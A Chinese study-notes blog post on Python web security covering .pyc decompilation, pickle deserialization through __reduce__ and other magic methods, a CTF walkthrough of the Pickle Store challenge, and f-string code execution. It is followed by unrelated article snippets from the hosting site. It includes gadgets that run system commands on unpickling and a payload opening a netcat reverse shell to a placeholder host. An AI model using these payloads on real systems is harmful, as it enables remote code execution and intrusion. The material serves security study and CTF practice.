文章目录

  • 前记
  • WEB攻防——第七十一天
    • Python安全&反序列化利用链&PYC文件反编译&格式化字符串安全
      • Python - PYC-反编译文件出源码
        • 介绍
        • 演示
      • Python - 反序列化-调用链&魔术方法
        • 各类语言序列化和反序列化函数
        • 序列化和反序列化含义
        • Python中常用的序列化/反序列化函数
        • 魔术方法
        • 发现
        • 案例演示——[watevrCTF-2019]Pickle Store
      • Python - 格式化字符串-类魔术方法引用

前记

  • 今天是学习小迪安全的第七十二天,本节课是语言类安全的最后一节课,主要是Python的反序列化安全
  • 内容比较少,实战也可能不经常遇到,但是CTF可能遇到,所以还是了解一下

WEB攻防——第七十一天

Python安全&反序列化利用链&PYC文件反编译&格式化字符串安全

Python - PYC-反编译文件出源码

介绍
  • pyc 文件是 py 文件编译后生成的字节码文件(byte code),pyc 文件经过 python 解释器最终会生成机器码运行。因此 pyc 文件是可以跨平台部署的,类似 Java.class文件,一般 py 文件改变后,都会重新生成 pyc 文件。
演示
  • 真题:http://pan.baidu.com/s/1jGpB8DS
  • 反编译工具:uncompyle6
    • 安装:pip install uncompyle6
    • 使用:uncompyle6 -o . test.pyc-o表示输出到指定文件
    • 下载:https://github.com/rocky/python-uncompyle6
  • 这个东西实战中不太容易见到,但是CTF中可能会考
  • 比如上面那个题,我们就可以直接使用这个工具反编译得到程序源码,然后分析拿到flag即可:
    在这里插入图片描述
    在这里插入图片描述

Python - 反序列化-调用链&魔术方法

各类语言序列化和反序列化函数
  • JavaSerializable Externalizable 接口、fastjsonjacksongsonObjectInputStream.readObjectObjectInputStream.readUnsharedXMLDecoder.readObjectYaml.loadXStream.fromXMLObjectMapper.readValueJSON.parseObject
  • PHPserialize()unserialize()
  • PythonpicklemarshaljsonPyYAMLshelvePILunzip
序列化和反序列化含义
  • 序列化:把类对象转化为字节流或文件
  • 反序列化:将字节流或文件转化为类对象
Python中常用的序列化/反序列化函数
  • 字符串/文件
    • pickle.dump(obj, file):将对象序列化后保存到文件
    • pickle.load(file):将文件序列化内容反序列化为对象
    • pickle.dumps(obj):将对象序列化字符串格式的字节流
    • pickle.loads(bytes_obj):将字符串字节流反序列化为对象
  • JSON
    • json.dump(obj, file):把 Python 对象序列化JSON 文本 并写入文件
    • json.load(file):从文件读 JSON 文本并反序列化成 Python 对象
    • json.dumps(obj):将对象序列化为JSON文本
    • json.loads(json_str):将JSON字符串反序列化为Python对象
  • YAML
    • yaml.dump(obj, file):把 Python 对象序列化YAML 并写入文件
    • yaml.load(stream, Loader=...):把 YAML 文本反序列化成 Python 对象
  • marshal:功能与pickle类似,主要用于.pyc字节码文件的读写,普通业务几乎不会使用marshal.dump/load函数
魔术方法
  • __reduce__()反序列化时调用
import pickle  
import os  class R:  def __reduce__(self):  return (os.system, ('calc',))  # 反序列化时执行 os.system('calc')  r = R() 
dt = pickle.dumps(r)   
da = pickle.loads(dt) # 反序列化弹出计算器
  • __reduce_ex__()反序列化时调用
import pickle  
import os  class R:  def __reduce_ex__(self, protocol):  return (os.system, ('calc',))   # 反序列化时执行 os.system('calc')  r = R()  
dt = pickle.dumps(r)  
da = pickle.loads(dt) # 反序列化弹出计算器
  • 其实上面两个函数的原理都是将函数里面的内容写到序列化之后的字符串中,它们得到的值为:b'\x80\x04\x95\x1c\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x04calc\x94\x85\x94R\x94.',很明显看到有system、calc吧?反序列化之后就直接触发恶意代码弹计算器了

  • __setstate__():反序列化时调用,和php中isset那个相似,需要调用不存在的属性才能触发

import pickle  
import os  class R:  def __setstate__(self, state):  os.system('calc')  # 给实例随便加一个属性,让它非空!
r = R()  
r.flag = 1  # 只要 __dict__ 非空即可  dt = pickle.dumps(r)  
pickle.loads(dt) # 反序列化弹出计算器
  • __getstate__():序列化时触发
import pickle  
import os  class R:  def __getstate__(self):  os.system('calc')  # 反序列化时执行  r = R()  
dt = pickle.dumps(r)  
print(dt) # 序列化弹出计算器
发现
  • 白盒直接搜索上述的关键函数即可
  • 黑盒中通过Python反序列化的特征:base64编码时前面gA固定,发现反序列化数据,可能出现的地方(getpostcookie…)
import base64  
import pickle  class R:  def __init__(self):  pass  r = R()  
dt = pickle.dumps(r)  
base64_dt = base64.b64encode(dt)  
print(base64_dt)
# 输出:b'gASVFQAAAAAAAACMCF9fbWFpbl9flIwBUpSTlCmBlC4='
案例演示——[watevrCTF-2019]Pickle Store
  • 这里通过一个CTF赛题来演示,题目来自BUUCTF的Pickle Store,现在靶机已经能正常打开了
    在这里插入图片描述

  • 我们看它的商品最后一个可能是flag
    在这里插入图片描述

  • 但它卖1000,我们只有500,那这种题很大概率就是考怎么把这个钱变成1000然后买flag

  • 还是Web三把手:F12源代码、抓包、扫目录,当然这里我们通过题目Pickle也大概可以知道可能考的是反序列化

  • F12或者抓包发现我们的Session值为gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu

  • 很明显gA开头的base64编码,解码看一下:
    在这里插入图片描述

  • 可以看到什么moneyhistory等等,这个和我们的页面是对上的,然后我们直接写一个代码去反序列化:

import base64  
import pickle  base64_sd = b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu'  
sd = base64.b64decode(base64_sd)  
dd = pickle.loads(sd)  
print(dd)
# 输出: {'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
  • 这里我们就能够尝试改钱了,那就直接改然后序列化提交看看我们的钱会不会变:
import base64  
import pickle  dd = "{'money': 1500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}"  
sd = pickle.dumps(dd)  
base64_sd = base64.b64encode(sd)  
print(base64_sd)
# 输出: b'gASVWgAAAAAAAACMVnsnbW9uZXknOiAxNTAwLCAnaGlzdG9yeSc6IFtdLCAnYW50aV90YW1wZXJfaG1hYyc6ICdhYTFiYTRkZTU1MDQ4Y2YyMGUwYTdhNjNiN2Y4ZWI2Mid9lC4='
  • 将结果提交,网站崩了,泥煤的:
    在这里插入图片描述

  • 这里的问题是它后面有一个anti_tamper_hmac,防篡改的,那说明这里就不能改money的值

  • 重开靶机,然后我们尝试其他的方法,这里既然不让我们改money,那我们就直接尝试反序列化RCE,这里exp是这个:

import base64
import pickleclass A(object):def __reduce__(self):return (eval, ("__import__('os').system('nc <iP> 8888 -e/bin/sh')",))a = A()
print(base64.b64encode(pickle.dumps(a)))
  • 这里应该是能够成功的,但是我又没有复现出来,什么鬼,但大致思路就是这样,通过__reduce__(self)函数去构造一个恶意的序列化对象,然后让其进行反序列化执行我们的恶意函数,达到攻击目的

Python - 格式化字符串-类魔术方法引用

  • 参考文章地址:Python Web之flask session&格式化字符串漏洞-先知社区
  • python中格式化字符串的方式有以下四种:
    1. %字符串
    2. string.Template
    3. 调用format方法
    4. f-Strings
  • 这四种方法使用不当都有可能造成RCE漏洞,这里主要是讲第四种,它是python3.6新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的 python 表达式
  • 它造成漏洞的示例代码如下:
print(f'{__import__("os").system("ping 127.0.0.1")} is my friend!')

在这里插入图片描述

  • 他就会执行这里面的ping命令,这个看起来好像没什么用,但是也是一种危害

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/94241.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/94241.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/94241.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux->多线程2

目录 本文说明&#xff1a; 一&#xff1a;线程互斥 1&#xff1a;缺乏互斥的抢票系统 2&#xff1a;抢票系统分析及概念回顾 3&#xff1a;互斥锁 ①&#xff1a;相关接口 a&#xff1a;定义锁 b&#xff1a;初始化锁 c&#xff1a;加锁 d&#xff1a;解锁 e&#x…

[OpenVela] 音乐播放器1.0

code: https://github.com/lvy010/vela/tree/main/music_player OpenVela 音乐播放器 基于 OpenVela 系统的嵌入式音乐播放器&#xff0c;使用 LVGL 图形库开发&#xff0c;支持 Wi-Fi 连接和本地音频播放。 &#x1f4cb; 目录 项目简介功能特性系统要求项目结构快速开始配…

学习 Android (十六) 学习 OpenCV (一)

学习 Android (十六) 学习 OpenCV (一) 在前几个章节中&#xff0c;我们对 NDK 相关的开发有了一定的了解&#xff0c;所谓磨刀不误砍柴工&#xff0c;有了这些基础的知识储备之后&#xff0c;我们可以来简单上手一下 OpenCV 相关的知识&#xff0c;接下来跟随作者一起来学习吧…

人工智能之数学基础:离散型随机变量

本文重点 前面我们介绍了随机变量具有两个类型,一个类型是离散型随机变量,另外一个类型是连续型随机变量。我们先来学习离散型随机变量。 离散型随机变量 离散型随机变量 X 所有可能取的值为X1,X2...,并且有: 则称 p1 , p2, … 为离散型随机变量 X 的概率质量函数。其中 …

【Java开发日记】我们来讲一讲 Channel 和 FileChannel

目录 Channel FileChannel 打开 FileChannel 从 FileChannel 读数据 写数据到 FileChannel 关闭 FileChannel 示例 读数据 写数据 Channel 在 NIO 中&#xff0c;Channel 和 Buffer 是相辅相成的&#xff0c;只能从 Channel 读取数据到 Buffer 中&#xff0c;或者从 …

【力扣】2623. 记忆函数——函数转换

【力扣】2623. 记忆函数——函数转换 文章目录【力扣】2623. 记忆函数——函数转换一、题目二、解决方案1、概述1.1纯函数2、在Web开发中的记忆化用途2.1缓存网站文件&#xff08;1&#xff09;React 组件&#xff08;2&#xff09;缓存 API 调用3、算法中的记忆化4、专业实现的…

数据结构 -- 队列

队列的核心定义队列是受限线性表&#xff0c;仅允许在一端&#xff08;队尾&#xff09;插入元素、另一端&#xff08;队头&#xff09;删除元素&#xff0c;遵循 “先进先出&#xff08;FIFO&#xff0c;First In First Out&#xff09;” 原则。队列的结构与操作端队尾&#…

为什么hive在处理数据时,有的累加是半累加数据

在 Hive 处理数据时&#xff0c;“半累加数据” 指的是部分字段保留历史状态、部分字段随业务变化累加或更新的场景&#xff0c;这种模式广泛存在于需要兼顾 “历史追溯” 和 “增量更新” 的业务中。以下是具体例子&#xff0c;帮助理解其本质&#xff1a;例子 1&#xff1a;用…

【贪心算法】day2

&#x1f4dd;前言说明&#xff1a; 本专栏主要记录本人的贪心算法学习以及LeetCode刷题记录&#xff0c;按专题划分每题主要记录&#xff1a;&#xff08;1&#xff09;本人解法 本人屎山代码&#xff1b;&#xff08;2&#xff09;优质解法 优质代码&#xff1b;&#xff…

Spring Boot整合RabbitMQ进阶实战:TTL、死信队列与延迟队列深度解析

Spring Boot整合RabbitMQ进阶实战&#xff1a;TTL、死信队列与延迟队列深度解析 一、TTL机制深度解析&#xff1a;从原理到落地 在RabbitMQ的消息生命周期管理中&#xff0c;TTL&#xff08;Time-To-Live&#xff09; 是核心机制之一——它通过设置消息的"存活时长"&…

最新react,vue 解决无法使用js触发点击,解决方案

const elements document.getElementsByClassName(remove-btn-eIaRy9 select-none semi-dropdown-item);if (elements.length > 0) {const element elements[0];const rect element.getBoundingClientRect();// 模拟鼠标移动到元素上const mouseOverEvent document.crea…

一键部署开源 Coze Studio

文章目录一、简介1、什么是 Coze Studio2、参考地址二、安装部署1、安装docker2、安装git3、下载core4、配置公网可用5、登录成功一、简介 1、什么是 Coze Studio Coze Studio 是一站式 AI Agent 开发工具。提供各类最新大模型和工具、多种开发模式和框架&#xff0c;从开发到…

Python Excel 通用筛选函数

案例目的 第一个函数从指定文件路径读取CSV数据并转换为DataFrame&#xff0c;第二个函数使用灵活的条件筛选DataFrame。 示例数据!&idxMarketCURRPMTERMANT……*1JPUSD10…*1CHINAEUR00…*1USAUSD10…*2JPJPY10…*3USACNY11…*4CHINACNY00…*5JPUSD11…*6JPJPY00…假定数据…

鸿蒙中内存泄漏分析

引言&#xff1a;什么是内存泄漏&#xff1f; 想象一下你的手机是一个酒店&#xff0c;每个应用程序都是酒店的客人。当客人&#xff08;应用程序&#xff09;使用房间&#xff08;内存&#xff09;时&#xff0c;酒店经理&#xff08;系统&#xff09;会分配房间给他们使用。…

将windows 的路径挂载到Ubuntu上进行直接访问

1、下载hane NFS Server安装2、安装后打开3、在电脑上创建个共享文件夹&#xff0c;我这里选择D:\share4、在hane win nfs server 软件上选择Edit\preferences5、选择exports6、选择Edit exports file, 在最后添加D:\share -name:nfs&#xff0c;然后点击Save如果添加root权限使…

开源 python 应用 开发(十一)短语音转文本

最近有个项目需要做视觉自动化处理的工具&#xff0c;最后选用的软件为python&#xff0c;刚好这个机会进行系统学习。短时间学习&#xff0c;需要快速开发&#xff0c;所以记录要点步骤&#xff0c;防止忘记。 链接&#xff1a; 开源 python 应用 开发&#xff08;一&#xf…

【C++闯关笔记】封装②:友元与模板

系列文章目录 第零篇&#xff1a;从C到C入门&#xff1a;C有而C语言没有的基础知识总结-CSDN博客 第一篇&#xff1a;【C闯关笔记】封装①&#xff1a;类与对象-CSDN博客 第二篇&#xff1a;【C闯关笔记】封装②&#xff1a;友元与模板-CSDN博客 第三篇&#xff1a;【C闯关笔…

Python 爬虫教程 | 豆瓣 TOP250 数据抓取与分析实战

一、项目背景与数据价值豆瓣TOP250是影视行业的重要榜单&#xff0c;具有以下数据价值&#xff1a;评分与评价人数&#xff1a;衡量电影市场热度&#xff1b;导演与演员信息&#xff1a;分析人才价值与影视趋势&#xff1b;类型 / 地区 / 年份&#xff1a;洞察电影类型与年代变…

第04章 SPSS简介与数据库构建

参考&#xff1a;SPSS实战与统计思维 - 武松编著 - 微信读书 4.1 SPSS简介 发展历史 全称Statistical Product and Service Solutions&#xff0c;由美国斯坦福大学三位研究生于1968年开发。 对比其他软件成立时间&#xff1a;SAS&#xff08;1976年&#xff09;、Stata&…

【ABAP4】数据字典

ABAP数据字典ABAP数据字典概述数据字典的基本对象域数据元素表类型系统创建自定义透明表创建自定义结构锁对象ABAP数据字典概述 ABAP数据字典是SAP定义和管理数据的工具&#xff0c;包含了程序使用的所有对象&#xff0c;数据字典中包括数据库表、视图、数据类型、域、搜索帮助…